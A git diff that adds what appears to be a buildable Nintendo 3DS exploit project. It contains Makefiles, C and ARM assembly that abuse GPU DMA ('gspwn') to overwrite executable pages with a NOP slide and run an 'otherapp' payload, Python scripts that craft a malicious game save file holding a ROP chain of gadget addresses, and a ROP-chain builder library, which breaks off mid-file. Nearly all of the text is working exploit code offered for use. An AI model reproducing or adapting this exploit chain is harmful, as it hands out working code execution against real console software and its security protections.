diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..0e6945c --- /dev/null +++ b/Makefile @@ -0,0 +1,25 @@ +export PYROP:="$(CURDIR)/pyrop" + +all: otherapp.bin ropdb/DB.py code/build game/build + +otherapp.bin: + @cp $(OTHERAPP) otherapp.bin + +ropdb/DB.py: + @cp ropdb/$(REGION).py ropdb/DB.py + +code/build: + @cd code && make + +game/build: rop/build + @cd game && make + +rop/build: + @cd rop && make + +clean: + @cd game && make clean + @cd rop && make clean + @cd code && make clean + @rm ropdb/DB.py + @rm otherapp.bin diff --git a/code/Makefile b/code/Makefile new file mode 100644 index 0000000..3eee218 --- /dev/null +++ b/code/Makefile @@ -0,0 +1,75 @@ +ifeq ($(strip $(DEVKITARM)),) +$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") +endif + + +ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) +export PATH:=$(DEVKITARM)/bin:$(PATH) +endif + +include $(DEVKITARM)/3ds_rules + +CC = arm-none-eabi-gcc +# LINK = arm-none-eabi-gcc +LINK = arm-none-eabi-ld +AS = arm-none-eabi-as +OBJCOPY = arm-none-eabi-objcopy +CFLAGS += -Wall -std=c99 -march=armv6 -Os -I"$(CTRULIB)/include" -I$(DEVKITPRO)/libnds/include +LDFLAGS += --script=ccd00.ld -L"$(CTRULIB)/lib" + +CFILES = $(wildcard source/*.c) +BINFILES = $(wildcard data/*.bin) +OFILES = $(BINFILES:data/%.bin=build/%.bin.o) +OFILES += $(CFILES:source/%.c=build/%.o) +DFILES = $(CFILES:source/%.c=build/%.d) +SFILES = $(wildcard source/*.S) +OFILES += $(SFILES:source/%.S=build/%.o) +PROJECTNAME = ${shell basename "$(CURDIR)"} +CWD = "$(CURDIR)"" + +#--------------------------------------------------------------------------------- +# canned command sequence for binary data, taken from devkitARM +#--------------------------------------------------------------------------------- +define bin2o + bin2s $< | $(AS) -o $(@) + echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( build/$*.d + +build/%.o: source/%.S + $(CC) $(CFLAGS) -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.bin.o: data/%.bin + @echo $(notdir $<) + @$(bin2o) + +constants.h: + @python3 makeConstantsHeader.py ../ropdb/DB.py constants.h diff --git a/code/ccd00.ld b/code/ccd00.ld new file mode 100644 index 0000000..672f719 --- /dev/null +++ b/code/ccd00.ld @@ -0,0 +1,27 @@ +OUTPUT_ARCH(arm) + +MEMORY +{ + RAMRX (rx) : ORIGIN = 0x00384000, LENGTH = 0x00002000 + RAMRW (rw!i) : ORIGIN = 0x08000000, LENGTH = 0x00100000 +} + +SECTIONS +{ + .text : ALIGN(0x100) { + build/crt0.o(.init) + *(.text) + *(.rodata) + _got_start = .; + *(.got) + *(.got.plt) + *(.data.rel.ro.local) + _got_end = .; + } + + .bss : { + _bss_start = .; + *(.bss); + } + _bss_end = .; +} diff --git a/code/ccd00.specs b/code/ccd00.specs new file mode 100644 index 0000000..73bc487 --- /dev/null +++ b/code/ccd00.specs @@ -0,0 +1,4 @@ +%rename link old_link + +*link: +%(old_link) -T ./ccd00.ld%s \ No newline at end of file diff --git a/code/makeConstantsHeader.py b/code/makeConstantsHeader.py new file mode 100644 index 0000000..f299d10 --- /dev/null +++ b/code/makeConstantsHeader.py @@ -0,0 +1,12 @@ +import sys +import runpy + +cmdargs = sys.argv + +output_file = open(cmdargs[2], 'w') + +result = runpy.run_path(cmdargs[1]) +diff = set(result.keys()) - set(globals().keys()) + +for gadget in diff: + output_file.write("#define " + gadget + " " + hex(result[gadget]) + "\n") diff --git a/code/source/crt0.S b/code/source/crt0.S new file mode 100644 index 0000000..382f36d --- /dev/null +++ b/code/source/crt0.S @@ -0,0 +1,8 @@ +.section ".init" +.arm +.align 0x4 +.global _start + +_start: + mov sp, #0x10000000 + blx _main diff --git a/code/source/imports.h b/code/source/imports.h new file mode 100644 index 0000000..32ad890 --- /dev/null +++ b/code/source/imports.h @@ -0,0 +1,22 @@ +#ifndef IMPORTS_H +#define IMPORTS_H + +#include <3ds.h> +#include "../constants.h" + +#define LINEAR_BUFFER 0x31000000 +#define APPMEMTYPE_PTR 0x1FF80030 +#define MAX_CODEBIN_SIZE 0x326000 +#define PAYLOAD_VA 0x384000 + +static Handle* const dspHandle = (Handle*)DSP_HANDLE; +static Handle* const gspHandle = (Handle*)GSPGPU_HANDLE; + +static u32** const sharedGspCmdBuf = (u32**)(GSPGPU_INTERRUPT_RECEIVER_STRUCT + 0x58); + +static Result (* const _GSPGPU_FlushDataCache)(Handle* handle, Handle kProcess, u32* addr, u32 size) = (void*)GSPGPU_FLUSHDATACACHE; +static Result (* const _GSPGPU_GxTryEnqueue)(u32** sharedGspCmdBuf, u32* cmdAddr) = (void*)GSPGPU_GXTRYENQUEUE; +static Result (* const _DSP_UnloadComponent)(Handle* handle) = (void*)DSP_UNLOADCOMPONENT; +static Result (* const _DSP_RegisterInterruptEvents)(Handle* handle, Handle event, u32 type, u32 port) = (void*)DSP_REGISTERINTERRUPTEVENTS; + +#endif diff --git a/code/source/main.c b/code/source/main.c new file mode 100644 index 0000000..096d51e --- /dev/null +++ b/code/source/main.c @@ -0,0 +1,119 @@ +#include "imports.h" + +#include <3ds.h> +#include "utils.h" + +#define LOOP_DEST (u8*)(LINEAR_BUFFER+0xE00000) +#define OTHERAPP_DEST (u8*)(LINEAR_BUFFER+0xF00000) +#define SLIDE_DEST (u8*)(LINEAR_BUFFER+0xA00000) + +void build_nop_slide(u32 *dst, int size) +{ + for (int i = 0; i < size; i++) + { + dst[i] = 0xE1A00000; + } + dst[size-1] = 0xE12FFF1E; +} + +void _main() +{ + + Result ret = 0; + + _DSP_UnloadComponent(dspHandle); + _DSP_RegisterInterruptEvents(dspHandle, 0x0, 0x2, 0x2); + + u32 linear_base = 0x30000000 + (*(u8*)APPMEMTYPE_PTR == 0x6 ? 0x07c00000 : 0x04000000) - MAX_CODEBIN_SIZE; + + build_nop_slide((u32*)(SLIDE_DEST), 0x1000/4); + u32 nop_slide_VA = 0x320000; + u32 count = 0; + do + { + int k = 0; + int slide_pages = 0; + while(slide_pages < 1 && k*0x1000 < MAX_CODEBIN_SIZE) + { + _GSPGPU_FlushDataCache(gspHandle, 0xFFFF8001, (u32*)LOOP_DEST, 0x1000); + gspwn((void*)LOOP_DEST, (void*)(linear_base + k*0x1000), 0x1000); + svcSleepThread(0x100000); + + if(!memcmp((void*)LOOP_DEST, (void*)(nop_slide_VA), 0x20)) + { + gspwn((void*)(linear_base + k*0x1000), (void*)(SLIDE_DEST), 0x1000); + svcSleepThread(0x100000); + slide_pages++; + } + k++; + } + + int j = 0xFFC; + while(*(u32*)(nop_slide_VA+j) == *(u32*)(SLIDE_DEST+j)) + { + count+=4; + j-=4; + } + if(j < 0xFFC) ((void (*)())(nop_slide_VA+j+4))(); + + nop_slide_VA+=0x1000; + } + while(count < 0x6000 && nop_slide_VA < PAYLOAD_VA); + //((void (*)())nop_slide_VA)(); + + + u32 otherapp_size = *(u32*)(OTHERAPP_PTR-4); + memcpy(OTHERAPP_DEST, (void*)OTHERAPP_PTR, otherapp_size); + + u32 _otherapp_size = (otherapp_size + 0xFFF) & ~0xFFF; + + u32 otherapp_pages_count = _otherapp_size >> 12; + + unsigned int pages = 0; + for(unsigned int i = 0; i < MAX_CODEBIN_SIZE && (pages < otherapp_pages_count); i+=0x1000) + { + _GSPGPU_FlushDataCache(gspHandle, 0xFFFF8001, (u32*)LOOP_DEST, 0x1000); + gspwn((void*)LOOP_DEST, (void*)(linear_base + i), 0x1000); + svcSleepThread(0x200000); + + for(u8 j = 0; j < otherapp_pages_count; j++) + { + if(!memcmp((void*)LOOP_DEST, (void*)(0x101000 + j*0x1000), 0x20)) + { + //otherapp_pages[j] = i; + gspwn((void*)(linear_base + i), (void*)(OTHERAPP_DEST+j*0x1000), 0x1000); + svcSleepThread(0x200000); + pages++; + } + } + } + // ghetto dcache invalidation + // don't judge me +int i, j; + // for(k=0; k<0x2; k++) +for(j=0; j<0x4; j++) + for(i=0; i<0x01000000/0x4; i+=0x4) + ((u8*)(LINEAR_BUFFER))[i+j]^=0xDEADBABE; + + +u8* top_framebuffer = (u8*)(LINEAR_BUFFER+0x00100000); +u8* low_framebuffer = &top_framebuffer[0x00046500]; +_GSPGPU_SetBufferSwap(*gspHandle, 0, (GSPGPU_FramebufferInfo){0, (u32*)top_framebuffer, (u32*)top_framebuffer, 240 * 3, (1<<8)|(1<<6)|1, 0, 0}); +_GSPGPU_SetBufferSwap(*gspHandle, 1, (GSPGPU_FramebufferInfo){0, (u32*)low_framebuffer, (u32*)low_framebuffer, 240 * 3, 1, 0, 0}); + + // run payload + { + void (*payload)(u32* paramlk, u32* stack_pointer) = (void*)0x00101000; + u32* paramblk = (u32*)LINEAR_BUFFER; + + paramblk[0x1c >> 2] = GSPGPU_SETTEXTURECOPY; + paramblk[0x20 >> 2] = GSPGPU_FLUSHDATACACHE_WRAPPER; + paramblk[0x48 >> 2] = 0x8d; // flags + paramblk[0x58 >> 2] = GSPGPU_HANDLE; + paramblk[0x64 >> 2] = 0x08010000; + + payload(paramblk, (u32*)(0x10000000 - 4)); + } + + *(u32*)ret = 0xdead0008; +} diff --git a/code/source/math.S b/code/source/math.S new file mode 100644 index 0000000..b8369c6 --- /dev/null +++ b/code/source/math.S @@ -0,0 +1,398 @@ +#ifdef __ARMEB__ +#define xh r0 +#define xl r1 +#define yh r2 +#define yl r3 +#else +#define xl r0 +#define xh r1 +#define yl r2 +#define yh r3 +#endif + +.global __muldi3 +__muldi3: + +.global __aeabi_lmul +__aeabi_lmul: + + mul xh, yl, xh + mla xh, xl, yh, xh + mov ip, xl, lsr #16 + mov yh, yl, lsr #16 + bic xl, xl, ip, lsl #16 + bic yl, yl, yh, lsl #16 + mla xh, yh, ip, xh + mul yh, xl, yh + mul xl, yl, xl + mul ip, yl, ip + adds xl, xl, yh, lsl #16 + adc xh, xh, yh, lsr #16 + adds xl, xl, ip, lsl #16 + adc xh, xh, ip, lsr #16 + mov pc, lr + + +dividend .req r0 +divisor .req r1 +result .req r2 +curbit .req r3 +.globl __udivsi3 + .type __udivsi3 ,function + .globl __aeabi_uidiv + .type __aeabi_uidiv ,function + .align 0 + __udivsi3: + __aeabi_uidiv: + cmp divisor, #0 + beq Ldiv0_uidiv + mov curbit, #1 + mov result, #0 + cmp dividend, divisor + bcc Lgot_result +Loop1: + @ Unless the divisor is very big, shift it up in multiples of + @ four bits, since this is the amount of unwinding in the main + @ division loop. Continue shifting until the divisor is + @ larger than the dividend. + cmp divisor, #0x10000000 + cmpcc divisor, dividend + movcc divisor, divisor, lsl #4 + movcc curbit, curbit, lsl #4 + bcc Loop1 +Lbignum: + @ For very big divisors, we must shift it a bit at a time, or + @ we will be in danger of overflowing. + cmp divisor, #0x80000000 + cmpcc divisor, dividend + movcc divisor, divisor, lsl #1 + movcc curbit, curbit, lsl #1 + bcc Lbignum +Loop3: + @ Test for possible subtractions, and note which bits + @ are done in the result. On the final pass, this may subtract + @ too much from the dividend, but the result will be ok, since the + @ "bit" will have been shifted out at the bottom. + cmp dividend, divisor + subcs dividend, dividend, divisor + orrcs result, result, curbit + cmp dividend, divisor, lsr #1 + subcs dividend, dividend, divisor, lsr #1 + orrcs result, result, curbit, lsr #1 + cmp dividend, divisor, lsr #2 + subcs dividend, dividend, divisor, lsr #2 + orrcs result, result, curbit, lsr #2 + cmp dividend, divisor, lsr #3 + subcs dividend, dividend, divisor, lsr #3 + orrcs result, result, curbit, lsr #3 + cmp dividend, #0 @ Early termination? + movnes curbit, curbit, lsr #4 @ No, any more bits to do? + movne divisor, divisor, lsr #4 + bne Loop3 +Lgot_result: + mov r0, result + mov pc, lr +Ldiv0_uidiv: + str lr, [sp, #-4]! + #bl __div0 (PLT) + mov r0, #0 @ about as wrong as it could be + ldmia sp!, {pc} + .size __udivsi3 , . - __udivsi3 + +.globl __aeabi_uidivmod +__aeabi_uidivmod: + + stmfd sp!, {r0, r1, ip, lr} + bl __aeabi_uidiv + ldmfd sp!, {r1, r2, ip, lr} + mul r3, r0, r2 + sub r1, r1, r3 + mov pc, lr + +.globl __aeabi_idivmod +__aeabi_idivmod: + + stmfd sp!, {r0, r1, ip, lr} + bl __aeabi_idiv + ldmfd sp!, {r1, r2, ip, lr} + mul r3, r0, r2 + sub r1, r1, r3 + mov pc, lr + +.macro ARM_DIV_BODY dividend, divisor, result, curbit + +#if __LINUX_ARM_ARCH__ >= 5 + + clz \curbit, \divisor + clz \result, \dividend + sub \result, \curbit, \result + mov \curbit, #1 + mov \divisor, \divisor, lsl \result + mov \curbit, \curbit, lsl \result + mov \result, #0 + +#else + + @ Initially shift the divisor left 3 bits if possible, + @ set curbit accordingly. This allows for curbit to be located + @ at the left end of each 4 bit nibbles in the division loop + @ to save one loop in most cases. + tst \divisor, #0xe0000000 + moveq \divisor, \divisor, lsl #3 + moveq \curbit, #8 + movne \curbit, #1 + + @ Unless the divisor is very big, shift it up in multiples of + @ four bits, since this is the amount of unwinding in the main + @ division loop. Continue shifting until the divisor is + @ larger than the dividend. +1: cmp \divisor, #0x10000000 + cmplo \divisor, \dividend + movlo \divisor, \divisor, lsl #4 + movlo \curbit, \curbit, lsl #4 + blo 1b + + @ For very big divisors, we must shift it a bit at a time, or + @ we will be in danger of overflowing. +1: cmp \divisor, #0x80000000 + cmplo \divisor, \dividend + movlo \divisor, \divisor, lsl #1 + movlo \curbit, \curbit, lsl #1 + blo 1b + + mov \result, #0 + +#endif + + @ Division loop +1: cmp \dividend, \divisor + subhs \dividend, \dividend, \divisor + orrhs \result, \result, \curbit + cmp \dividend, \divisor, lsr #1 + subhs \dividend, \dividend, \divisor, lsr #1 + orrhs \result, \result, \curbit, lsr #1 + cmp \dividend, \divisor, lsr #2 + subhs \dividend, \dividend, \divisor, lsr #2 + orrhs \result, \result, \curbit, lsr #2 + cmp \dividend, \divisor, lsr #3 + subhs \dividend, \dividend, \divisor, lsr #3 + orrhs \result, \result, \curbit, lsr #3 + cmp \dividend, #0 @ Early termination? + movnes \curbit, \curbit, lsr #4 @ No, any more bits to do? + movne \divisor, \divisor, lsr #4 + bne 1b + +.endm + +.macro ARM_DIV2_ORDER divisor, order + +#if __LINUX_ARM_ARCH__ >= 5 + + clz \order, \divisor + rsb \order, \order, #31 + +#else + + cmp \divisor, #(1 << 16) + movhs \divisor, \divisor, lsr #16 + movhs \order, #16 + movlo \order, #0 + + cmp \divisor, #(1 << 8) + movhs \divisor, \divisor, lsr #8 + addhs \order, \order, #8 + + cmp \divisor, #(1 << 4) + movhs \divisor, \divisor, lsr #4 + addhs \order, \order, #4 + + cmp \divisor, #(1 << 2) + addhi \order, \order, #3 + addls \order, \order, \divisor, lsr #1 + +#endif + +.endm + + .align 5 +.globl __divsi3 +.globl __aeabi_idiv +__divsi3: +__aeabi_idiv: + cmp r1, #0 + eor ip, r0, r1 @ save the sign of the result. + beq Ldiv0 + rsbmi r1, r1, #0 @ loops below use unsigned. + subs r2, r1, #1 @ division by 1 or -1 ? + beq 10f + movs r3, r0 + rsbmi r3, r0, #0 @ positive dividend value + cmp r3, r1 + bls 11f + tst r1, r2 @ divisor is power of 2 ? + beq 12f + + ARM_DIV_BODY r3, r1, r0, r2 + + cmp ip, #0 + rsbmi r0, r0, #0 + mov pc, lr + +10: teq ip, r0 @ same sign ? + rsbmi r0, r0, #0 + mov pc, lr + +11: movlo r0, #0 + moveq r0, ip, asr #31 + orreq r0, r0, #1 + mov pc, lr + +12: ARM_DIV2_ORDER r1, r2 + + cmp ip, #0 + mov r0, r3, lsr r2 + rsbmi r0, r0, #0 + mov pc, lr + +Ldiv0: + + str lr, [sp, #-4]! + #bl __div0 + mov r0, #0 @ About as wrong as it could be. + ldr pc, [sp], #4 + + +.global __aeabi_uldivmod + .type __aeabi_uldivmod, function + .align 0 +A_0 .req r0 +A_1 .req r1 +B_0 .req r2 +B_1 .req r3 +C_0 .req r4 +C_1 .req r5 +D_0 .req r6 +D_1 .req r7 +Q_0 .req r0 +Q_1 .req r1 +R_0 .req r2 +R_1 .req r3 +__aeabi_uldivmod: + stmfd sp!, {r4, r5, r6, r7, lr} + @ Test if B == 0 + orrs ip, B_0, B_1 @ Z set -> B == 0 + beq L_div_by_0 + @ Test if B is power of 2: (B & (B - 1)) == 0 + subs C_0, B_0, #1 + sbc C_1, B_1, #0 + tst C_0, B_0 + tsteq B_1, C_1 + beq L_pow2 + @ Test if A_1 == B_1 == 0 + orrs ip, A_1, B_1 + beq L_div_32_32 +L_div_64_64: + mov C_0, #1 + mov C_1, #0 + @ D_0 = clz A + teq A_1, #0 + clz D_0, A_1 + clzeq ip, A_0 + addeq D_0, D_0, ip + @ D_1 = clz B + teq B_1, #0 + clz D_1, B_1 + clzeq ip, B_0 + addeq D_1, D_1, ip + @ if clz B - clz A > 0 + subs D_0, D_1, D_0 + bls L_done_shift + @ B <<= (clz B - clz A) + subs D_1, D_0, #32 + rsb ip, D_0, #32 + movmi B_1, B_1, lsl D_0 + orrmi B_1, B_1, B_0, lsr ip + movpl B_1, B_0, lsl D_1 + mov B_0, B_0, lsl D_0 + @ C = 1 << (clz B - clz A) + movmi C_1, C_1, lsl D_0 + orrmi C_1, C_1, C_0, lsr ip + movpl C_1, C_0, lsl D_1 + mov C_0, C_0, lsl D_0 +L_done_shift: + mov D_0, #0 + mov D_1, #0 + @ C: current bit; D: result +L_subtract: + @ if A >= B + cmp A_1, B_1 + cmpeq A_0, B_0 + bcc L_update + @ A -= B + subs A_0, A_0, B_0 + sbc A_1, A_1, B_1 + @ D |= C + orr D_0, D_0, C_0 + orr D_1, D_1, C_1 +L_update: + @ if A == 0: break + orrs ip, A_1, A_0 + beq L_exit + @ C >>= 1 + movs C_1, C_1, lsr #1 + movs C_0, C_0, rrx + @ if C == 0: break + orrs ip, C_1, C_0 + beq L_exit + @ B >>= 1 + movs B_1, B_1, lsr #1 + mov B_0, B_0, rrx + b L_subtract +L_exit: + @ Note: A, B & Q, R are aliases + mov R_0, A_0 + mov R_1, A_1 + mov Q_0, D_0 + mov Q_1, D_1 + ldmfd sp!, {r4, r5, r6, r7, pc} +L_div_32_32: + @ Note: A_0 & r0 are aliases + @ Q_1 r1 + mov r1, B_0 + bl __aeabi_uidivmod + mov R_0, r1 + mov R_1, #0 + mov Q_1, #0 + ldmfd sp!, {r4, r5, r6, r7, pc} +L_pow2: + @ Note: A, B and Q, R are aliases + @ R = A & (B - 1) + and C_0, A_0, C_0 + and C_1, A_1, C_1 + @ Q = A >> log2(B) + @ Note: B must not be 0 here! + clz D_0, B_0 + add D_1, D_0, #1 + rsbs D_0, D_0, #31 + bpl L_1 + clz D_0, B_1 + rsb D_0, D_0, #31 + mov A_0, A_1, lsr D_0 + add D_0, D_0, #32 +L_1: + movpl A_0, A_0, lsr D_0 + orrpl A_0, A_0, A_1, lsl D_1 + mov A_1, A_1, lsr D_0 + @ Mov back C to R + mov R_0, C_0 + mov R_1, C_1 + ldmfd sp!, {r4, r5, r6, r7, pc} +L_div_by_0: + #bl __div0 + @ As wrong as it could be + mov Q_0, #0 + mov Q_1, #0 + mov R_0, #0 + mov R_1, #0 + ldmfd sp!, {r4, r5, r6, r7, pc} + diff --git a/code/source/utils.c b/code/source/utils.c new file mode 100644 index 0000000..fa05680 --- /dev/null +++ b/code/source/utils.c @@ -0,0 +1,66 @@ +#include "utils.h" +#include "imports.h" + +void* memset(void *ptr, int value, size_t num) +{ + u8 *p = ptr; + while (num) + { + *p++ = value; + num--; + } + + return ptr; +} + +void* memcpy(void *destination, const void *source, size_t num) +{ + u8 *dest = destination; + u8 *src = (u8*)source; + while (num) + { + *dest++ = *src++; + num--; + } + + return destination; +} + +int memcmp(void *ptr1, void *ptr2, size_t num) +{ + for(; num--; ptr1++, ptr2++) + if(*(u8*)ptr1 != *(u8*)ptr2) + return *(u8*)ptr1-*(u8*)ptr2; + return 0; +} + +Result gspwn(void* dst, void* src, u32 size) +{ + u32 gxCommand[] = + { + 0x00000004, //cmd header (SetTextureCopy) + (u32)src, + (u32)dst, + size, + 0xFFFFFFFF, //dim in + 0xFFFFFFFF, //dim out + 0x00000008, //flags + 0x00000000 + }; + + return _GSPGPU_GxTryEnqueue(sharedGspCmdBuf, gxCommand); +} + +Result _GSPGPU_SetBufferSwap(Handle handle, u32 screenId, GSPGPU_FramebufferInfo framebufferInfo) +{ + Result ret = 0; + u32* cmdbuf = getThreadCommandBuffer(); + + cmdbuf[0] = 0x0050200; + cmdbuf[1] = screenId; + memcpy(&cmdbuf[2], &framebufferInfo, sizeof(GSPGPU_FramebufferInfo)); + + if((ret = svcSendSyncRequest(handle))) return ret; + + return cmdbuf[1]; +} diff --git a/code/source/utils.h b/code/source/utils.h new file mode 100644 index 0000000..ab19d9f --- /dev/null +++ b/code/source/utils.h @@ -0,0 +1,12 @@ +#ifndef UTILS_H +#define UTILS_H + +#include <3ds.h> + +void* memset(void * ptr, int value, size_t num); +void* memcpy(void *destination, const void *source, size_t num); +int memcmp(void *ptr1, void *ptr2, size_t num); + +Result gspwn(void* dst, void* src, u32 size); +Result _GSPGPU_SetBufferSwap(Handle handle, u32 screenId, GSPGPU_FramebufferInfo framebufferInfo); +#endif diff --git a/game/Makefile b/game/Makefile new file mode 100644 index 0000000..7b9e0e0 --- /dev/null +++ b/game/Makefile @@ -0,0 +1,7 @@ +all: build/game_00.dat + +build/game_00.dat: game.py + @python3 $(PYROP)/pyrop.py game.py build/game_00.dat + +clean: + @rm -rf build diff --git a/game/__pycache__/event.cpython-35.pyc b/game/__pycache__/event.cpython-35.pyc new file mode 100644 index 0000000..4660e8e Binary files /dev/null and b/game/__pycache__/event.cpython-35.pyc differ diff --git a/game/bins/event_opt.bin b/game/bins/event_opt.bin new file mode 100644 index 0000000..7c6c821 Binary files /dev/null and b/game/bins/event_opt.bin differ diff --git a/game/bins/file_0.bin b/game/bins/file_0.bin new file mode 100644 index 0000000..a1efae8 Binary files /dev/null and b/game/bins/file_0.bin differ diff --git a/game/bins/file_1.bin b/game/bins/file_1.bin new file mode 100644 index 0000000..bba9856 Binary files /dev/null and b/game/bins/file_1.bin differ diff --git a/game/event.py b/game/event.py new file mode 100644 index 0000000..1e67abe --- /dev/null +++ b/game/event.py @@ -0,0 +1,29 @@ +import itertools +include("../ropdb/DB.py") + +def u32_to_byte_list(u32): + return [(u32 & (0xFF << 8*i)) >> 8*i for i in range(4)] + +def u32_array_to_bits_array(l): + L = [] + for u32 in l: + for b in u32_to_byte_list(u32): + for i in range(8): + L.append((b & (1 << i)) >> i) + return L + +def bits_array_to_bits_count(l): + return [(b, len(list(i))) for b, i in itertools.groupby(l)] + +def make_event_list(l, addr): + l = bits_array_to_bits_count(u32_array_to_bits_array(l)) + event_list = [0X2D, 0x00, 0xFF, 0xFF, 0x04, 0x00, 0x0C, 0x00, 0, 0, 0, 0, 0, 0, 0, 0]*len(l) + k = 0 + for b, c in l: + index = (addr - BUTTON_TABLE) * 8 + event_list += [0x01, 0xFF, 0xFF, 0x0F] + event_list += [b, int(c > 1), 0x00, 0x00] + event_list += u32_to_byte_list(index + k) + event_list += u32_to_byte_list(index + k + c - 1) + k += c + return event_list, len(l) diff --git a/game/game.py b/game/game.py new file mode 100644 index 0000000..b906e1a --- /dev/null +++ b/game/game.py @@ -0,0 +1,26 @@ +include("event.py") +include("../ropdb/DB.py") +import os + +event_list, count = make_event_list([POP_R0PC, ROP_PTR, POP_R1PC, NOP, MOV_SPR0_MOV_R0R2_MOV_LRR3_BX_R1], STACK_DEST) + +incbin("bins/file_0.bin") +add_word(len(event_list) + 0x46C) # sample map size + +incbin("bins/file_1.bin") +add_word(count) + +incbin("bins/event_opt.bin") + +append(event_list) + +org(0x160000) +incbin("../rop/build/rop.bin") + +org(0x170000) +incbin("../code/code.bin") + +org(0x190000) +add_word(os.path.getsize('../otherapp.bin')) +incbin("../otherapp.bin") + diff --git a/pyrop/__pycache__/base_modules.cpython-35.pyc b/pyrop/__pycache__/base_modules.cpython-35.pyc new file mode 100644 index 0000000..c0c5951 Binary files /dev/null and b/pyrop/__pycache__/base_modules.cpython-35.pyc differ diff --git a/pyrop/__pycache__/base_modules.cpython-36.pyc b/pyrop/__pycache__/base_modules.cpython-36.pyc new file mode 100644 index 0000000..007bd8b Binary files /dev/null and b/pyrop/__pycache__/base_modules.cpython-36.pyc differ diff --git a/pyrop/__pycache__/builder_base.cpython-35.pyc b/pyrop/__pycache__/builder_base.cpython-35.pyc new file mode 100644 index 0000000..8c446c6 Binary files /dev/null and b/pyrop/__pycache__/builder_base.cpython-35.pyc differ diff --git a/pyrop/__pycache__/builder_base.cpython-36.pyc b/pyrop/__pycache__/builder_base.cpython-36.pyc new file mode 100644 index 0000000..3f8fbb1 Binary files /dev/null and b/pyrop/__pycache__/builder_base.cpython-36.pyc differ diff --git a/pyrop/base_modules.py b/pyrop/base_modules.py new file mode 100644 index 0000000..7575af6 --- /dev/null +++ b/pyrop/base_modules.py @@ -0,0 +1,357 @@ +from builder_base import user_function, BaseBuilder +from ast import * +from inspect import * +import traceback + +# def get_module(builder, module): +# return type(module.__name__ + builder.__name__, (module, builder,), dict(module.__dict__)) + + +class IncludeModule(BaseBuilder): + def __init__(self): + super().__init__() + self.current_path = "" + + def set_current_path(self, base_path): + self.current_path = os.path.dirname(os.path.abspath(base_path)) + + @user_function + def include(self, incfile: str): + + old = self.current_path + self.current_path = os.path.join(old, os.path.dirname(incfile)) + + path = os.path.join(self.current_path, os.path.basename(incfile)) + sys.path.append(self.current_path) + + try: + content = open(path, "rb").read() + os.chdir(self.current_path) # set the current working directory, for open() etc. + exec(compile(content, path, 'exec'), self.user_functions) + except Exception as err: + print("An exception occured while building: ", file=sys.stderr) + lines = traceback.format_exc(None, err).splitlines() + print(" " + lines[-1], file=sys.stderr) + for l in lines[3:-1]: + print(l, file=sys.stderr) + exit(1) + + sys.path.remove(self.current_path) + os.chdir(old) + self.current_path = old + + def load(self, file): + self.set_current_path(file) + super().load(file) + + +class AreaModule(BaseBuilder): + def __init__(self): + super().__init__() + self.areas = [] + + @user_function + def append(self, bytes_l): + super().append(bytes_l) + self.check_areas() + + @user_function + def begin_area(self, size): + if not self.loaded: + return + self.areas.append((len(self.chain), size)) + + @user_function + def end_area(self): + if not self.loaded: + return + self.areas.pop() + + def check_areas(self): + for area in self.areas: + if len(self.chain)-area[0] > area[1]: + raise OverflowError("Area overflowed!") + + +class LabelContext: + def __init__(self, parent, l_locals): + self.locals = l_locals + self.parent = parent + + def setdefault(self, key, value): + self.locals.setdefault(key, value) + + def __getitem__(self, item): + """ + Return the value associated to the label name in the nearest context that contains it. + (search in context then context's parent and then parents of context's parent...) + :param item: label name + :return: address associated to the label + """ + current = self + while current is not None: + if item in current.locals: + return current.locals[item] + current = current.parent + + def __contains__(self, item): + """ + Override 'in' operator, search the label in the local dict and all the parents dicts. + :param item: label to search + :return: True if label is found, False otherwise + """ + current = self + while current is not None: + if item in current.locals: + return True + current = current.parent + return False + + +class Macro: + + def __init__(self): + self.total_count = 0 + self.current_instance = 0 + self.instance_contexts = [] + + def add_instance(self, context): + """ + Add a new instance. + :param context: instance label context + :return: None + """ + self.instance_contexts.append(context) + self.total_count += 1 + + def reset_current_instance(self): + """ + Reset the current_instance counter. + :return: None + """ + self.current_instance = 0 + + def get_last_instance(self): + """ + Get the last instance added. + :return: macro's last instance + """ + return self.instance_contexts[-1] + + def get_next_instance(self): + """ + Get the current instance, then increment the current_instance value. + :return: current instance label context + """ + self.current_instance += 1 + return self.instance_contexts[self.current_instance - 1] + + +class LabelModule(BaseBuilder): + def __init__(self): + super().__init__() + self.context_stack = [] + + self.global_context = dict() + self.current_context = self.global_context + + self.macros = dict() + + def load(self, file): + self.parse_labels(open(file).read()) + self.user_functions.update(self.global_context) + super().load(file) + self.user_functions.update(self.global_context) + + def __setitem__(self, name: str, address: int): + """ + Add a label to the current context. + Override [] assignment. + :param name: label name + :param address: label address + :return: None + """ + if self.loaded: + return + + if address is None: + address = self.mem_offset + elif address.bit_length() > 32: + raise ValueError("Label address should be 32 bits long!") + + self.current_context[name] = address + self.user_functions.update(self.current_context) + + def __getitem__(self, name): + """ + Get address associated to the label name in current_context. + :param name: label name + :return: address associated to label + """ + if name not in self.current_context: + raise KeyError("Trying to use an undefined label!") + return self.current_context[name] + + def __contains__(self, item): + """ + Override 'in' operator. + :param item: label name + :return: True if current_context contains the label, False otherwise + """ + return item in self.current_context + + def get_current_context(self): + return self.current_context + + def register_macro(self, name: str): + """ + Register a new macro in the macros dict. + :param name: macro's name + :return: None + """ + self.macros.setdefault(name, Macro()) + + def add_macro_context(self, name: str, context: dict = None): + """ + Add a new instance/context to a Macro object + :param name: macro's name + :param context: macro's label context, default = dict() + :return: None + """ + if context is None: + context = dict() + self.macros[name].add_instance(dict()) + + def switch_context(self, context): + """ + Switch the current context. + :param context: the new context + :return: None + """ + self.context_stack.append(self.current_context) + self.current_context = context + + def restore_context(self): + """ + Restore the previous context. + :return: None + """ + self.current_context = self.context_stack.pop() + + @user_function + def put_label(self, name: str, address: int = None): + if type(name) is not str: + raise ValueError("Label name expected, " + type(name).__name__ + " was given!") + self[name] = address + + @user_function + def get_label(self, name: str): + return self[name] + + def parse_labels(self, source): + tree = parse(source, "", 'exec') + for node in walk(tree): + if isinstance(node, Call): + id = node.func.id if isinstance(node.func, Name) else node.func.attr + if id == "put_label" and node.args and isinstance(node.args[0], Str): + name = node.args[0].s + if name in self.current_context: + raise NameError("Label name already used!") + self.current_context.setdefault(name, 0) + + + + @user_function + def macro(self, func): + """ + The macro function decorator. + :param func: macro function + :return: the wrapped function + """ + 